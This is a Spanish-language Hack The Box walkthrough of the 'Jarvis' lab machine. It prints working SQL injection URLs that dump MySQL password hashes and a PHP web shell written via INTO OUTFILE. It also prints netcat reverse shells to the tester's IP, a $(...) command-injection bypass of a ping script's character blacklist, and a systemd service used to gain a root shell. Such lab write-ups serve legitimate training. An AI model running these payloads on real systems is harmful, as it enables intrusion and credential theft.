Jarvis - Hack The Box
Jarvis
ENUMERACION
Realizamos un escaneo de los puertos abiertos
❯ nmap -sC -sV -p22,80,64999 10.10.10.143 -oN scanPorts
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-19 03:19 EDT
Nmap scan report for 10.10.10.143
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Dos de ellos son paginas webs
❯ whatweb http://10.10.10.143 > whatweb80
❯ cat whatweb80
http://10.10.10.143 [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[supersecurehotel@logger.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.10.10.143], JQuery, Modernizr[2.6.2.min], Open-Graph-Protocol, Script, Title[Stark Hotel], UncommonHeaders[ironwaf], X-UA-Compatible[IE=edge]
❯ whatweb http://10.10.10.143:64999 > whatweb64999
❯ cat whatweb64999
http://10.10.10.143:64999 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.10.10.143], UncommonHeaders[ironwaf]
En la pagina encontramos el nombre del dominio, lo agregamos al /etc/hosts
❯ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.143 logger.htb supersecurehotel.htb
Investigando por la pagina entramos un archivo php al cual si le pasamos el parametro cod nos devuelve informacion, este tipo de codigo es propenso a ser vulnerable si no esta bien sanitizado, vamos a intentar realizar una SQLi:
EXPLOTACION
¿Qué es SQLi?
Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.
Tiene una blacklist de algunos parametros que bloquea la IP durante 90 segundos, vamos a intentar realizarla de otra forma:
Trato de hacer manualmente una inyección sql para ver cuantas columnas tiene la base de datos:
http://10.10.10.143/room.php?cod=7 UNION SELECT 1,2--+
Encontramos el numero de columnas:
http://10.10.10.143/room.php?cod=7 UNION SELECT 1,2,3,4,5,6,7--+
Podemos enumerar la base de datos:
Lo primero a enumerar es el nombre de las base de datos y cuantas existen:
http://10.10.10.143/room.php?cod=7 UNION SELECT 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c)e,4,5,6,7+fRoM+information_schema.schemata--+
Hay 4 base de datos, vamos a enumerar hotel y mysql:
❯ curl -s -X GET "http://10.10.10.143/room.php?cod=7%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,table_name,0x7c)e,4,5,6,7+fRoM+information_schema.tables++wHeRe+table_schema=%22hotel%22--+" | grep "price-room" | html2text
|room|
Solo tiene la tabla room, no me interesa, asi que paso a la base de datos de mysql:
❯ curl -s -X GET "http://10.10.10.143/room.php?cod=7%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,table_name,0x7c)e,4,5,6,7+fRoM+information_schema.tables++wHeRe+table_schema=%22mysql%22--+" | grep "price-room" | html2text
|column_stats|,|columns_priv|,|db|,|event|,|func|,|general_log|,|gtid_slave_pos|,|help_category|,|help_keyword|,|help_relation|,|help_topic|,|host|,|index_stats|,|innodb_index_stats|,|innodb_table_stats|,|plugin|,|proc|,|procs_priv|,|proxies_priv|,|roles_mapping|,|servers|,|slow_log|,|table_stats|,|tables_priv|,|time_zone|,|time_zone_leap_second|,|time_zone_name|,|time_zone_transition|,|time_zone_transition_type|,|user|
Vemos que tiene una tabla llamada user, normalmente mysql tiene dentro de la tabla user las columnas user y password, vamos a intentar sacar la informacion:
❯ curl -s -X GET "http://10.10.10.143/room.php?cod=7%20UNION%20SELECT%201,2,gRoUp_cOncaT(user,0x7c,password)e,4,5,6,7+fRoM+mysql.user--+" | grep "price-room" | html2text
DBadmin|*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
Tiramos de CrackStation para ir mas rapido a la hora de crackear contraseñas:
Tenemos una contraseña, ¿pero de que? voy a enumerar la pagina web con wfuzz para ver si encuentro algún login:
❯ wfuzz -c -w /opt/diccionario_medio.txt -t 200 -L --hc 404 http://10.10.10.143/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.143/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 47 L 359 W 7201 Ch "images"
000000536: 200 26 L 154 W 3043 Ch "css"
000000939: 200 28 L 186 W 3580 Ch "js"
000002757: 200 18 L 82 W 1333 Ch "fonts"
000010811: 200 215 L 728 W 15189 Ch "phpmyadmin"
Hemos accedido al panel de phpmyadmin: DBadmin:imissyou
GANANDO ACCESO AL SISTEMA
A partir de aquí la intrusión al sistema es pan comido, os dejo aquí un link donde explica paso a paso como hacerlo: Link
1º ejecutamos esta sintaxis SQL y le damos a go:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/RCE.php"
2º Accedemos a la pagina que acabamos de crear:
http://10.10.10.143/RCE.php
3º A traves de la variable cmd, le decimos que comando queremos ejecutar
❯ curl -s -X get "http://10.10.10.143/RCE.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ya solo tendriamos que ponernos en escucha por un puerto en nuestra maquina, y ejecutar una reverse shell en la web:
❯ curl -s -X get "http://10.10.10.143/RCE.php?cmd=nc+-e+/bin/sh+10.10.16.198+443"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.198] from (UNKNOWN) [10.10.10.143] 54394
hostname;whoami
jarvis
www-data
MOVIMIENTO LATERAL
Ya estamos dentro ahora toca enumerar el sistema, no podemos ver la flag asi que tenemos que ganar acceso como el usuario pepper:
www-data@jarvis:/home/pepper$ ls -la
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
Tenemos un privilegio sudo:
www-data@jarvis:/home/pepper$ sudo -l
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
Podemos ejecutar como pepper sin proporcionar contraseña el script simpler.py, hay que examinar que hace ese script:
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
Nos muestra como podemos usarlo, y una de las opciones es poder hacer un ping:
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Enter an IP: 10.10.16.198
PING 10.10.16.198 (10.10.16.198) 56(84) bytes of data.
64 bytes from 10.10.16.198: icmp_seq=1 ttl=63 time=101 ms
64 bytes from 10.10.16.198: icmp_seq=2 ttl=63 time=50.6 ms
^C
www-data@jarvis:/home/pepper$
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
04:47:10.056312 IP logger.htb > 10.10.16.198: ICMP echo request, id 1539, seq 1, length 64
04:47:10.056361 IP 10.10.16.198 > logger.htb: ICMP echo reply, id 1539, seq 1, length 64
04:47:11.006273 IP logger.htb > 10.10.16.198: ICMP echo request, id 1539, seq 2, length 64
04:47:11.006290 IP 10.10.16.198 > logger.htb: ICMP echo reply, id 1539, seq 2, length 64
Vale funciona corractamente, pero y ¿como nos aprovechamos de esto? Pues en bash si podemos poner en el input cualquier comando
al ejecutar el script nos va a ejecutar tambien ese comando, un ejemplo sencillo seria este:
❯ cat script.sh
#!/bin/bash
echo "hola soy `whoami`"
❯ ./script.sh
hola soy root
En este caso en especial el creador del script ha sido cuidadoso y ha agregado una blacklist con el cual si en el input del usuario existe [‘&’, ‘;’, ‘-‘, ‘`’, ‘ | ’, ‘ | ’] no va a poder ejecutar el ping, pero hay otras formas de ejecutar comandos en bash como por ej $(comando): |
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
La forma de burlar esto seria creandonos un script en bash que contenga una reverse shell:
❯ cat reverse.sh
#!/bin/bash
nc -e /bin/sh 10.10.16.198 443
www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Enter an IP: $(bash reverse.sh)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.198] from (UNKNOWN) [10.10.10.143] 54402
whoami
pepper
pepper@jarvis:~$ cat user.txt
2afa36c4f05b37b3425c---------
ESCALACION DE PRIVILEGIOS
Nos pasamos el linpeas
para enumerar el sistema:
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 31K Aug 21 2018 /bin/fusermount (Unknown SUID binary)
-rwsr-xr-x 1 root root 44K Mar 7 2018 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 60K Nov 10 2016 /bin/ping
-rwsr-x--- 1 root pepper 171K Feb 17 2019 /bin/systemctl
Nos reporta que podemos ejecutar como SUID el binario /bin/systemctl , vamos a buscar como aprovecharnos de esto: Link
1º Creamos el archivo root.service
❯ cat root.service
[Unit]
Description=roooooooooot
[Service]
Type=oneshot
User=root
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.16.198 443'
[Install]
WantedBy=multi-user.target
2º Nos creamos una nueva carpeta en la raiz de pepper
pepper@jarvis:~/privesc$ pwd
/home/pepper/privesc
pepper@jarvis:~/privesc$ ls
root.service
3º Ejecutamos los siguientes comandos
pepper@jarvis:~/privesc$ systemctl link /home/pepper/privesc/root.service
pepper@jarvis:~/privesc$ systemctl enable --now /home/pepper/privesc/root.service
pepper@jarvis:~/privesc$ systemctl start root
pepper@jarvis:~/privesc$
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.198] from (UNKNOWN) [10.10.10.143] 54418
whoami
root
cat /root/root.txt
d41d8cd98f00b204e9800998------